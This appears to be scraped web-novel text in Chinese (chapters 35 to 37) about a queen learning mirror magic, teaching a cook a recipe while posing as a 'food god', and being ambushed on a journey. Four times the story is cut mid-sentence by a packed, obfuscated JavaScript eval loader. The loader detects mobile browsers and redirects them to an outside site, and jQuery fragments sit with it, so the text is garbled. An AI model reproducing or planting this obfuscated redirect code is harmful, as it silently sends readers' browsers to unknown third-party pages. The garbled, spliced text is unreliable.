“我的卡特琳娜。”米洛安慰她说，“书籍确实很枯燥，学起来并不会容易。很多想要入门巫师的人，都会去找一个高阶的老师引领，这样更有利于自身的学习，毕竟魔法学里太多弯路。” 她能怎么办？是她大言不惭要学镜子魔法——最冷僻的类型之一。要找老师谈何容易？如果是天灵派，她还可以找布莱克或者是海因里希请教…… 她从魔法屋出来，天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632580|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色已经很晚，肚子饿得咕咕直叫，一整天她只吃了简单“早餐”。而且瓦沙克的回信她还没收到，也不知道粮车有没有着落，伙食改善问题迫在眉睫。 受不了了。 卡特琳娜看着镜子里的自己，感觉都饿瘦了一些。 “他们应该在每个房间都放置了镜子，要不我试试镜子转移，穿到厨房的镜子里去？”卡特琳娜在每一面镜子上都做了灵力定位，她能依稀感应到镜子的位置。 镜子转移魔法不需要仪式，非常实用，但需要很精准的灵力控制，将自身的灵场与镜子结合，让灵态移动到另一面镜子处，然后将灵态与肉身进行对调。 这涉及到两个基础知识点。 灵场指的是巫师本身灵力形成的对周围环境的掌控潜力，是一种抽象、虚拟的概念，能够反应巫师本身的灵力水平和健康情况。 灵态则是灵场诱导灵力脱离肉身的一种动态概念，是在实践中施法时常常使用的一种方法。 由于镜子魔法学是禁忌武术，在魔法目录里找不到镜子转移魔法的等级，但据米洛主观判断，这相当于二阶魔法的水平。 卡特琳娜只是个初学者，她不太有信心，却又很愿意尝试。 她尝试了好几次都宣告失败，她的肉身不仅到不了厨房的镜子，连隔壁房间的镜子也去不到。 “我的卡特琳娜，要不然你先试试灵态移动？这应该相当于一阶魔法，运气好的话也许你可以做得到。”米洛提出建议。 这意味着她先不要想着将自己的肉身通过镜子移动，而只是以灵态的形式通过镜子感受外界。 “我试试吧。”卡特琳娜没有信心了。 她闭上眼睛，通过面前的镜子，用自己的灵来联系她感应到的厨房的镜子…… 她觉得自己好像漂浮在半空中，这并不是说她的灵魂离开了□□，而是她的灵态移动到了另一面镜子上。 成功了！ 卡特琳娜让灵态睁开眼，发现周围模模糊糊，但她能看到自己面前有一面镜子。她现在在镜子里面，她能透过镜子看到现实世界。 那她身后是什么？卡特琳娜有些好奇，想要转身去看。 “不要回头。”米洛及时提醒她，“我的卡特琳娜，你的灵态现在处于镜界的边缘，你的目光必须落在现实。如果你回头去看，很可能会被镜界的诡异拉走，再难找到回来的路。” 镜中世界的诡异卡特琳娜是感受过的，之前井底映射了镜界的局部，还不是完全的境界。 连米洛都觉得镜界是个危险的地方，要准备完全才可以踏足。 她还没有那么急着作死。 她望向镜子外，天色很暗，已经过了饭点，厨房应该已经熄火了才对…… 她看到了熟悉的人——布莱恩。 这个肥头大耳的洛尔兰王宫大厨在厨房里摆设了一番，搞得像是什么巫术现场，点着非常多的蜡烛，周围的货架、灶台上挂满了奇怪的材料——其中不乏食材。 他盘坐在地上，面前是用餐盘装着的黄糊糊的古怪东西。他一脸虔诚，双手合十，嘴里念念有词。 卡特琳娜仔细去听，听到他在念诵： “主宰美食的神邸！伟大的食神，慈悲的主！我是您忠诚的信徒，布莱恩*伊夫林，我向您献上我最创新变革的菜肴，请求您降下神的恩典，赐予我顿悟和丰收……” 35. 食神降临 啊？ 卡特琳娜略有震撼，没想到这个布莱恩是真像模像样地皈依“食神”来的。怕不是那天晚上她一擀面杖下去，王宫大厨被砸坏了脑袋。 当时她不过是随口一说。 “食神”和“死神”这两个字的发音在她平翘舌不分的家乡是同一个，在洛尔兰最常用的现代希博语中也极其类似，很容易被混淆。 她看到镜子面前的“创新变革”的食物，觉得一阵恶寒，思考自己要不要跟布莱恩坦诚，解除这个可笑的误会。 布莱恩这几日每天进行虔诚的祈祷，并没有再见到那晚降临的“食神”，但他并没有放弃的打算，觉得自己是被神选中的人，只要继续坚持下去说不定能获得新的神谕。 布莱恩祈祷结束，他看向面前今天才被搬到厨房来的镜子，镜面本应该映照出他自己和周围的烛光，但现在却呈现出一个黑色的影子。那影子勉强能够组成人的轮廓，无尽的漆黑，正如他所见过的神的模样…… 布莱恩立即从盘坐转变为跪立，他激动万分，认为是神终于降临。他不敢直视神的面容，低下头来，大声喊道：“主宰美食的神邸！伟大的食神，慈悲的主！感谢您自天堂降临，赐予您最虔诚的信徒以顿悟……” 卡特琳娜更惊讶了些，没想到她在镜中的灵态竟然能够被别人看见。所幸厨房里只有布莱恩一个，不至于造成其他不好的影响。 “不是吧……”卡特琳娜喃喃自语。 她的声音穿透镜面，变成了古怪的音律达到布莱恩的耳中，他虽听不懂是什么意思，但确定自己是收到了神的回应。 他激动得难以自持，跪俯在地上，再次高喊：“伟大的食神！慈悲的主！” 灵态的声音竟然也能够被人听到？卡特琳娜心中升起疑惑。 米洛能猜到她的心思，为她解答：“我的卡特琳娜，当你的灵态达到这面镜子之后，它便与你本身产生了联系，自然是能够形成你的影像，传达你的声音，你需要通过灵力来控制以呈现出你想要的效果。” 还可以自己控制？ 卡特琳娜对学习魔法非常有热情，便打算拿眼前这个布莱恩当个试验对象。她清了清嗓子，用灵力控制自己的语言传达到镜子之外。 “布莱恩*伊夫林。”她说。 神的声音被包裹了一层朦胧的震荡，让布莱恩分辨不出音色，就像不是从耳朵进入，仿佛直接在他心中响起。 他仔细听着，不敢错过神谕中的任何一个字。 卡特琳娜继续说：“你听好了，我现在要教你番茄炒蛋的做法。首先你要准备三个鸡蛋，两个番茄，适量的葱花、盐、菜油、糖、酱油和味精，如果没有酱油和味精就先不加。第一步将鸡蛋打入碗中，加少许盐，再将其打散均匀，把番茄切成小块、葱花切好备用。第二步在锅中加入油，油热后倒入鸡蛋煎熟后捞起；再在锅中加入油，油热后放入番茄块翻炒至熟软。第三步加入熟鸡蛋与番茄一起炒，混合均匀，加入适量盐和糖调味。捞起后在上面洒点葱花，这道菜就做好了。” 这一大段话下来，让布莱恩听懵了，他没想到食神不仅要给自己顿悟，还告诉了详细的菜谱。 他听到中间才赶紧从旁边翻出纸笔开始记录，幸好神的描述非常清晰简洁，他应该不会错漏太多。厨房里的纸笔是为了记录货架上的食材，这时候也派上用场。 “记好了吗？”卡特琳娜不放心地问。 布莱恩满头大汗，特别庆幸自己学过写字，不然就要触怒神颜了。他点点头，不敢吱声，拿着笔飞快地写。 卡特琳娜见他紧张，心里担心。如果这个布莱恩能炒出一盘好吃的番茄炒蛋，那她可以考虑先不换厨师。 布莱恩写完后松了一口气，感觉到神的眼睛盯着他看，完全不敢抬头。 卡特琳娜觉得用灵力传达声音很轻松，又想试试用灵力在镜面展示影像。她说：“抬头。” 布莱恩抬头看向镜子，画面竟然清晰无比。 是他手中这份菜肴的详细做法，神竟然一步一步都展示给他看了。除了其中他不知道酱油和味精是什么外，其他的材料厨房都有。 他根据镜中展示的画面，进一步细化了手中记录的内容。 “知道怎么做了吧？一会儿，就做给……”卡特琳娜想说王后，又怕暴露自己的身份，改了口风说，“做给下一个让你做菜的人吃。” “谨遵您的教诲！伟大的食神！慈悲的主！”布莱恩向她磕头。 “还有什么要问的吗？”卡特琳娜用灵力展示画面的时候就饿坏了，口水长流，她对布莱恩不太有信心，决定先用一道小菜试试他的水平。 布莱恩有些胆怯，鼓起勇气问了：“请问我的主，这道菜叫什么名字？” 名字？番茄炒蛋？ 卡特琳娜不禁挠头，叫番茄炒蛋似乎太土了点。她灵机一动，说： “雏凤浴火。” * 灵态镜子转移的魔法还是耗费了卡特琳娜不少精力，她回到自己房间后又觉得困了，但还是叫了简妮让她去找布莱恩做些吃的来。 “那是我的卡特琳娜在以前的世界里吃过的东西吗？”米洛突然问。 卡特琳娜没想到一面镜子竟然对她以前的世界感兴趣，回答说：“是的，我以前所在的世界，有非常多的美食，我现在真是后悔吃得少、学得少了。现在要是想再吃、再学，都不能够。” “没关系，我的卡特琳娜，我们这里也有很多美食。”米洛安慰她说，“洛尔兰美食比较少，但莫里安首都蒙托有不少好吃的，拜厄南方也有各种各样的美食，西方群岛食物也很有特色。虽然我不记得我的故乡，但那里似乎也有非同凡响的食物，希望我的卡特琳娜都能体验到。” 卡特琳娜其实对美食也不算特别大的兴趣，只是洛尔兰王宫的食物太难吃，让她对穿越前的饮食有了怀念。现在她听到米洛这样说，突然有了某种灵感。 她问：“我看到书上说，物灵派会制作魔法药剂，将啥啥啥煮在一起做成发挥各种功能的魔药。那你说有没有可能，在菜肴之中加入魔法，让它变成魔法菜？” 米洛愣了一下，回答道：“照理来说应该是可以的。如果食材来源于魔法生物，或者是经过魔法仪式被赋予力量的非生物，那做出来的菜肴应该会保留一定的魔法特性。魔药已经是成体系的专业，魔法菜这一概念较为模糊，但目前学界认为魔法菜是魔药的衍生。历史上存在一些可使用的具有魔法的菜肴的记载，但并没有学者对其系统阐述过。” 卡特琳娜对这方面很感兴趣，跟米洛聊了好几句，又在预备书单里加入了几本相关的书籍。 番茄炒蛋是很简单的菜，但布莱恩做了很久，卡特琳娜的肚子都咕噜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632581|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫唤了很久，简妮才给端上来。 “陛下，这，这是布莱恩做的新菜，名字叫雏凤浴火。”简妮越说越小声，生怕卡特琳娜动怒。 卡特琳娜闻到味儿就已经流口水，立即让简妮端到她面前。 没想到布莱恩做得还有模有样。 她用叉子叉起蛋和番茄，吃进嘴里简直竟然很不错。虽然没有酱油和味精，但盐和糖已经够滋味。 “有培养前途！”卡特琳娜对布莱恩有些刮目相看，决定之后再教他更多家常菜的做法，这样就不愁必须吃那些难吃的减肥餐了。 * 之后几天，卡特琳娜潜心学习魔法，已经掌握了魔法学的基础理论和人灵派魔法的很多进阶概念。虽然镜子魔法学比较艰深，但米洛非常有耐心，陪她一遍遍练习，让她掌握了最基本的魔法逻辑。 现在她偶尔能通过镜子转移法让自己移动到相隔不超过五十米的镜子处，也能够以灵态控制镜子的画面和声音。 她新学了镜子占卜法，因为不太熟练，占卜的结果很模糊。她需要在心中对自己提出问题，然后通过灵态让镜面展示出回答。占卜出的往往是一些含糊不清的画面，她难以对其解答。 为此，米洛建议她学习塔罗牌和人灵派心理学，以后可以通过镜面塔罗和梦境来解读占卜结果。要学的东西越来越多，卡特琳娜不敢有丝毫懈怠。 她想要通过占卜找出伊桑提到过的肯*沙穆安插在洛尔兰王宫的奸细，但由于没有任何线索，占卜没有任何提示。于是她只能够试着占卜与自己生死攸关的事情，她利用镜子占卜提出问题： “下一次，幽灵来找我会是什么时候？” 镜面展现的画面是白茫茫一片，似雪天，又像冰山。 她无法解读，重新询问：“想要取代我的那个幽灵在何处？” 画面是黑乎乎一片，偶尔闪过微弱的青绿亮光。 再往后便不能够了，镜子占卜非常耗费灵力，还会使施法人精神稳定性降低。以卡特琳娜的水平，连续占卜两次已经是极限。 米洛帮助她解读道：“微弱的青绿亮光也许象征着她目前还很虚弱，暂时构不成太大的威胁，但周围的黑暗又象征未知。也许她在积蓄力量，我们不得不时时防备。” 其实她也可以直接向米洛提问，米洛知道世界上绝大多数问题的答案。但由于卡特琳娜灵力的不足，米洛又只能回答那些卡特琳娜知道后不会受到伤害的问题。 卡特琳娜现在最紧要的事情就是提升自己的实力，即使是米洛不能够回应她的时候，她也必须要有自保的能力。 闲暇之余，卡特琳娜又通过镜子教了布莱恩几道经典中餐，土豆番茄红烧肉、糖醋排骨、回锅肉、手撕鸡等，可惜的是调料不足，味道总是差一些。而且宫中食材贮备愈发减少，鸡蛋都快吃不起了。 新月节在即，整个王宫都准备不出体面的宫廷菜。连卡尔都写信去肯古丽湖古堡，要求那边的卫兵将库存的鱼鲜送到王宫救急。 甚至伊桑也主动提议，让他操纵猛禽或野兽去森林捕猎。 当简妮给卡特琳娜端来牛奶，饿晕在她眼前之后，她知道这件事再不能等下去了。 “必须要……”卡特琳娜可惜洒了一地的牛奶，但更不希望简妮真的饿死，“必须要剿灭那伙该死的土匪！把我们洛尔兰的粮车夺回来！” 36. 幽灵骑士（1） 卡特琳娜并非只是为了粮车而想要剿灭十四团，她并不打算在洛尔兰久留，大可以带着米洛离开这个是非之地，为米洛寻找她的故乡永夜之都，也为她自己寻找离开这个异世界的办法。 虽然伊桑*沙穆肚子里怀着古奥斯的血脉，但她又不是真的古奥斯本人。即使孩子无辜，但为了自己的利益，她完全可以一走了之。 她不在乎丈夫海因里希，不在乎继子玛利亚，更不会在乎一个可有可无的情夫。她现在还留在洛尔兰，除了她需要时间适应这个世界以外，还有一个巨大的隐患深埋在她往前的路上。 幽灵卡特琳娜随时想要取代她。 她准备的还不够充分，但她不能再等下去。上一次在镜中世界幽灵没有现身，恐怕是在酝酿更大的阴谋。她要主动出击，让卡特琳娜的□□彻底属于自己。 海因里希一直在城外的自卫军营地，城内的安全保卫由安德鲁负责。卡特琳娜让威廉姆协助卡尔暂时管理宫中事务，让伊桑*沙穆用老鼠信使帮她传达了指令给驻扎在肯古丽湖旁的第七军上将卡洛斯，然后便带着简妮、布莱恩和几个骑士出发，去往海因里希所在的自卫军营地。 洛尔兰的冬天接近尾声，路面没有很厚的积雪，只有薄薄的冰层。王后的马车在路上经过神教广场，卡特琳娜让马车停下，她跟着简妮去全知神教堂去祈祷。 一直有来教堂的打算，总是有事情耽误，这还是卡特琳娜第一次来。在离开洛尔兰城之前，她必须要见见代理全知神教的代理神父格里高叶。 全知神教教堂内的布置与卡特琳娜在自己的世界里见过的教堂比较类似，木质长椅整齐地排成一列一列，零星坐着虔诚的信徒。柔和的光线透过彩绘玻璃窗洒在古老的石地上，散发出斑斓的光影。高耸的拱顶和华丽的壁画映衬着神圣的氛围。 信徒们将左右手的指尖并拢，而将掌心分开形成一个等边三角形，嘴里念着：“神知全能，我信得幸。” 卡特琳娜学着那些信徒和简妮的样子进行了低头默祷，然后以王后的身份请格里高叶在教堂内室与她会面。 “神父大人。”卡特琳娜见到神父后微微颔首。 格里高叶年纪快接近四十，自成年起便是洛尔兰全知神教堂的修士，他躲过了动荡年代针对全知神教修士的屠杀，是非常资深的神职人员。但由于他背景不够突出，再资深也还是会被年纪轻轻从主教区空降来的伊桑压一头。 但格里高叶为人善良亲和，非常受民众喜爱，他成为代理神父后的全知神教反而比之前伊桑*沙穆在职时更有凝聚力了。 卡特琳娜一见他，便觉得是那种世外高人。胡子剃得很干净，庄严肃穆、慈眉善目，戴着一副眼镜，显得学识渊博、值得信赖。 “陛下。”格里高叶面对王后的态度也不卑不亢，并不会像其他人那样惧怕胆怯。 卡特琳娜也想过会不会格里高叶就是那个奸细，他嫉妒伊桑而将情报传达给了肯*沙穆。但她又觉得不至于，毕竟主教区那边准备安排新的神父来接任，新神父预计将在新月节前一天达到洛尔兰。若格里高叶是想要神父这个位置，他仅仅针对伊桑是不足够的。 她不知道格里高叶有没有问题。 但卡特琳娜知道的幽灵是全知神教的信徒，幽灵一直在暗中窥视。 “我知道民众们现在都在受饿受苦。”卡特琳娜表情凝重，“我必须带领我们的战士将属于洛尔兰的东西拿回来，这次出城是秘密行动，但我必须前来告知神父您。” 格里高叶大概没想到王后会特意来找他，做出认真倾听的姿势。 “您是全知神教洛尔兰教区的主管，若是王宫出了什么事情我怕伊桑会受到苛待。”卡特琳娜握住格里高叶的手，诚恳地请求，“所以我特意前来拜托神父您，帮我留意他的情况。如果有什么事情，希望您能帮助他。” * 王后的马车有几名骑士护送，离开了洛尔兰城，往亚连士雪山下的自卫军营地去。 “没想到这么短的时间内，您能有这样大胆的谋划。”米洛对卡特琳娜赞赏道。 由于灵力的增长，米洛所依附的镜子项链坠变得精致了许多，白银链条和银质刻纹，即简洁又高贵。 其实卡特琳娜也不算有完全的把握，但她认为不能总是等待幽灵来找她。防御固然更加保守，却也让人陷入被动。她想要主动出击。 她握住手上的镯子，那是“圣泪”所化。 米洛起头了这个话茬，她便分析道：“在我穿越到这个世界之前，洛尔兰就存在三方势力。第一，是海因里希，他坚定地想要保卫洛尔兰，将一切不稳定因素视作敌人。他手中的砝码是洛尔兰自卫军和王家骑士团，拥有一定的军事实力。本来他还应该得到冰雪神教的大力支持，但在拜厄的制衡下，冰雪神教势力太弱，无法对海因里希有太多助益。 “第二，则是那个取代卡特琳娜的幽灵，她手中的牌非常强力，拜厄第七军听她指挥，全知神教神父是她的情人，洛尔兰自卫军和王家骑士团里不乏她安插的细作，甚至于她还与掌控十四团的瓦沙克亲王里应外合。她想要推翻洛尔兰的统治是轻而易举的事情，但她却绕了一大圈，不知道使用了什么手段，得到了海因里希的血脉，并将其孕育在伊桑*沙穆体内，妄图诞生统御北方的范维西四世。 “制衡她的是第三方势力——人不在洛尔兰，但手已经伸到洛尔兰的全知神教教皇肯*沙穆。他早已安排了孕种在伊桑体内，让伊桑借助卡特琳娜的□□来孕育古奥斯家族的纯种血脉。但卡特琳娜识破了他的阴谋，决定处决伊桑……” 米洛听到她的分析，点了点头：“是这样的。” “我却在这个时候穿越到了卡特琳娜的肉身，将霸占她身体的幽灵驱逐了出去，你觉得这会是巧合吗？”卡特琳娜轻笑一声，“最近过得太平静了些，所以我更要离开洛尔兰。卡特琳娜手中的牌看似很多，但实际上到我这里一张都没有，除了这具实实在在的肉身。” “怎么说？” “第一张牌完全废掉——第七军对我来说不会是助力，只会是威胁。如果我是幽灵，我被驱逐离开后，我会第一时间联络第七军。我怀疑第七军现在应该在幽灵的掌控之中，就算不是幽灵，那肯*沙穆也会比我更先接触第七军。卡洛斯上将多次提出要进攻洛尔兰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632582|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没回应过他。我不信任他，他也不信任我。 “第二张牌也非常负面——神父情人。伊桑现在不是全知神教的神父，肚子里的孩子非常古怪，难说是受到什么魔法的影响。全知神教的格里高叶高深莫测，不知道他是幽灵还是肯*沙穆的人，反正不可能是海因里希的人。虽然他表现得无辜，但他毕竟威胁过我，他还知道幽灵卡特琳娜的秘密，我无法信任他。 “第三张牌，是唯一一张还不能定义的，也许可以被我利用的牌——十四团。” 卡特琳娜将马车内的窗帘拉开了一点，看向窗外，洛尔兰的风光很不错，从这里能看到亚连士雪山，辽阔壮观。 “这就是我必须亲自去自卫军营地，要求与十四团接触的原因。瓦沙克亲王至今没有回信，海因里希又偷窥过我写去的信。要么是瓦沙克没有回，要么是海因里希给我把信截住了。”卡特琳娜将窗帘拉上，做出了判断。 然后她对米洛问道：“你能回答我这个问题的答案吗？” 米洛摇摇头：“我只能肯定你写的信通过跨国邮寄到了瓦沙克亲王城堡内，但具体的情况我看不到。瓦沙克的城堡设置了严密的魔法屏障，即使我能看到世界上绝大多数镜子映射的画面，我也看不到那里的。” 卡特琳娜毫不意外，米洛只是一面小小的镜子，她没那么全能。 “我让伊桑将我出城的消息传递给了第七军，我又特意去找格里高叶说了这件事。我故意让幽灵和肯*沙穆都知道我要去找十四团要回粮车，他们肯定迫不及待想要追杀我。幽灵卡特琳娜绝对不会让肯*沙穆知道自己被驱逐的事情，我要利用这个信息差，把那个幽灵先解决掉。” 说完全没有害怕那是假的，卡特琳娜只是不能再忍受担惊受怕的感觉。自从镜子魔法学入门之后，她感觉自己的思维有了某种变化，只能希望是在往好的方向发展。 “不出所料的话，等今晚我在自卫军营地过夜的时候，幽灵就会找上我……”卡特琳娜对之前的占卜做出解读，“黑暗中的青色微光，象征着营地中的梦境……” 她的自言自语还没有说完，马车突然一阵颠簸。 “怎么回事？”卡特琳娜向门外的车夫询问。 她将车门开了一条缝，猛烈的寒风和冰雪涌了进来。卡特琳娜震惊不已，刚刚她看向窗外还是冬阳暖煦啊？ “暴风雪！”一位骑士回答了她的问题，并企图将车门关闭。 卡特琳娜拉开窗帘往后看，他们这次出发是两辆车，她特意带了简妮和布莱恩，他们是坐在后面那一辆。简妮贴身照顾她，而最近她离不开布莱恩的厨艺。 风雪太大，什么都看不见。 一股极端的恐惧从卡特琳娜的心中升起，难道现在她就遭遇危机了？她的判断失误了，想要她命的人比她想象中更加急切。 “陛下！”骑士的呐喊被风雪掩埋。 一个巨大的雪球撞在了卡特琳娜所乘坐的马车上，卡特琳娜根本来不及逃跑。她仅仅能做的，是在从车窗往外跳的时候，把从井下镜中世界里没用上的纽扣吐到半空中，然后用古希博语高喊道： “飞舞！” 37. 幽灵骑士（2） 从镜中世界出来之后，海因里希便被无形的不安感搅扰得情绪不太稳定。那晚当他看着在床上安然沉睡的卡特琳娜，他恍恍惚惚间似乎想起了一些以为早已遗忘的曾经。 卡特琳娜当然是他见过的，这世界上最美丽的女人。 但他总是想不起来，他们第一次见面时是怎样的情形。 14年前，女王凯特罗琳宣布销毁拜厄国内所有的纺锤，违反法令者皆会被扭送入狱。 从那之后，拜厄的纺织业全盘中止，但对外贸易却意外发展起来，包括纺织商品在内的手工业绝大部分依靠进口，这成为了洛尔兰的好机会。手工纺织作坊在洛尔兰兴盛起来，拜厄生产的棉花和蚕丝被送到洛尔兰被加工成商品，再转卖回拜厄国内。 手工纺织在那段时间内，成为了洛尔兰的经济支柱，让洛尔兰在短短几年内脱贫致富。海因里希也是依靠这个机会，作为唯一一个被大学录取的范维西王室成员，远赴费里特深造学位。 但是，好景不长，在他即将要从费里特独立大学毕业之际，洛尔兰国内发生了巨大的变故。范维西二世宣布信仰冰雪神教，残忍杀害全知神教在洛尔兰的神职人员和信徒，并且单方面宣布断绝和拜厄的外交及经济往来。 全知神教教皇肯*沙穆怒不可遏，将海因里希抓捕。但范维西二世不为所动，根本不顾儿子的死活。 海因里希以为自己难逃一死，被关在主教堂地牢后他逐渐认命，这时候凯特罗琳女王派遣女官来见他。 “女王承诺，如果你能将卡特琳娜*布瑞尔*古奥斯公主唤醒，那她会在费里特王宫举行你和公主的婚礼，然后推举你成为洛尔兰的新王。” “我答应。”海因里希不可能放过这个机会，为了活下去，为了洛尔兰，他可以做任何事情。 可惜的是，后面发生了什么，海因里希已经不太记得，他应该是成功了。他和卡特琳娜结了婚，然后他们一起回到了洛尔兰。 这是他第二次结婚，所以他没什么感觉。 婚姻对他来说只是政治的游戏，和安娜结婚是这样，和卡特琳娜结婚也是这样。 但现在有什么变得不同。 那晚卡特琳娜答应他留宿，自己却一个人先睡过去。海因里希探了探她的鼻息，确定她不是在装睡。 她大概是太累，睡着之后会发出很小的呼噜声，这让海因里希感到震惊。最近一段时间的异常举动，使卡特琳娜显得像一个真实的普通的女人。 以往的她更像是一个幽怨的女鬼，强烈的控制欲，阴晴不定的脾气，对待丈夫和其他人的双重标准，都提示海因里希必须警惕这个恶毒、残暴的妻子。 她似乎变了。 海因里希想起从镜中世界离开时米洛对他说的话，自嘲起来，他也有会错意的时候，卡特琳娜再怎么变，也不过是把他当做玩具。 他记不起初相遇时发生的事情，估计卡特琳娜也已经忘记。 他在床边坐了一会儿，并没有上床去睡，而是收整了服饰，在几位骑士的陪同下趁着天还没亮离开了王宫。 他更适应军营，在王宫柔软的床上他睡不着，他总是会发噩梦，梦见自己被父亲背刺的绝望感觉——那是他这辈子都忘不了的痛。 这些天他都没有回过王宫，一来是他不想要面对王后，二来是他不想面对弟弟卡尔。卡尔在幻境中释放了自己内心真实的想法，他根本不认同他这个做国王的哥哥。 海因里希一想到这点便不由自主将手捏成拳头，他自己也很难认同自己。他依靠卡特琳娜的母家成为了国王，处处受到制衡，很多事情都无法由他来做主。 好在他还有自卫军，这是他唯一可以依仗的力量。 这日他晨起带兵列队练习，还未到中午，便有从洛尔兰城内赶过来的骑士向他汇报——卡特琳娜正在前往自卫军营地的路上。 “她要做什么？”海因里希焦躁不安起来。这个女人的行事越来越离奇，总是出乎他的意料。 “她出发之前，去见了代理神父格里高叶，听说她是想要从十四团夺回之前被抢的粮车……” 粮车。 海因里希知道这件事对她影响很大，甚至于她在写给瓦沙克亲王的信中也要求十四团送回粮车。瓦沙克可能没有回信，但他想不到卡特琳娜竟然会找到他这里来。 按理说，即使她跟瓦沙克没谈拢，她最应该借助的力量是第七军才对。虽然第七军驻地偏南，在肯古丽湖附近，对亚连士雪山没有他们自卫军熟悉，但卡洛斯才是她的亲信，他只不过她名义上的丈夫。 “洛尔兰粮食存量少，从古至今都是这样过来的，也就是她太过骄奢淫逸，非得要从拜厄运过来的食材。” 海因里希对此感到非常不满意，自言自语抱怨着，“若不是她平日里浪费太过，到新月节之前又怎么会遇到粮食短缺的问题！她自己要过来，也不提前告知，还要我从安德鲁手下的骑士那里听到消息！实在是不懂礼节！” 但毕竟是合法妻子第一次来他的军营，他立即暂停了士兵训练，安排人给自己的营房整理装饰一番。 营地面积有限，士兵都是八个十个人一间，只有国王是住单人间。军中又很少女眷，王后自然只适合留在国王的营房。 “真是麻烦。” 海因里希等到午后，也没见卡特琳娜的马车。他刚要派人去路上接应，便见到一只冰蝶向他飞来。 他微微楞了会儿，然后便反应过来这意味着什么。 在镜中世界时，他将他的纽扣给了青蛙卡特琳娜，让她有危险的时候激活纽扣的魔法。他都快忘了，但她竟然还留着这小东西。 她出事了？还是说，这是个针对他的陷阱？ 海因里希不能犹豫太久，冰蝶有时效限制。他赶紧招了天气术士布莱恩和几个骑士，立即出发跟着冰蝶去寻找卡特琳娜的踪迹。 他们策马飞奔，很快来到了王室马车的所在。 两辆马车侧翻，但里面一个人都没有，连拉车的马匹都消失了。 冰蝶在这时候失效，说明卡特琳娜是在这个位置激活了魔法物品。 “无缘无故，马车都还在，人怎么会突然就消失呢？”布莱克下马探查周围的痕迹，反复地思考也无法理解。 海因里希检查本应该拴着马的缰绳，表情凝重：“绳子没有断开，也没有人为解开的迹象，就像马匹是凭空消失的一样。” “车门像是受到巨物撞击……门上有水渍，像是化了的冰水，感觉应该是被什么类似大雪一样的东西埋过……”布莱克在周围转来转去，“附近很多水痕，太奇怪了。今天一整天应该是没有下过雪的才对，这里却……” 海因里希在马车内摸索，突然在摸到一个东西。他拿出来一看，是一条项链坠，像是卡特琳娜最近脖子上常挂的那一条，但又有点造型上的区别。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632583|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他将项链坠翻开，看到了里面拇指大小的镜子，以及盖后面的卡特琳娜结婚时的小像。 镜子里映着照片里的她，闭上的眼睛突然睁开来，诡异非常。 海因里希立即将项链坠关上，揣进了怀里。他认出来了，镜子里的人是那个叫米洛的，与卡特琳娜长得一模一样的女孩。 他吩咐手下的骑士说：“立即去把雪圣女请来！” “是的，陛下！” 军中会魔法的人并不多，布莱克和海因里希都属于是较资深的程度，但他们天灵派除了个别非常高阶的巫师外，都不擅长占卜、预言、寻物和寻人一类的魔法。 他们必须借助雪圣女的力量，才有可能根据所有物的气息来找到主人的位置。 海因里希心中有种不太妙的感觉，离他弟弟卡尔失踪后没多久，他的王后卡特琳娜也离奇失踪了。 也许，有什么风暴在洛尔兰的上空酝酿。 * 另一边。 卡特琳娜没想到自己脖子上的项链坠会不见，难道是跳车的时候遗失的？该死，该死！没有米洛，她根本不知道该怎么办！ 她拉着简妮躲在一棵巨大的树后，大气不敢出。 寒风刺骨，树木光秃，积雪厚重，如同死寂的荒林。雪已经小了一些，树林中起了非常浓厚的雾气，让人只能看清楚两米以内的事物。 阴沉的天幕笼罩着这片幽暗的世界，微弱的光线穿透不了浓厚的云层。积雪在林间的被踩得吱吱作响，仿佛在悄悄述说着某种不安的预兆。 在她们躲藏的不远处，一个穿着盔甲的诡异影子骑坐在只剩骨架的战马之上，马蹄在雪地里留下黑色的蹄印。 暗色的盔甲沉浸在幽深的阴影中，胸甲上时隐时现的神秘符文，肩甲宽大且锐利的威慑，每一片黝黑的金属上都有着如同古老诅咒般的裂痕，质感冰冷沉重，仿佛能吸收光线。 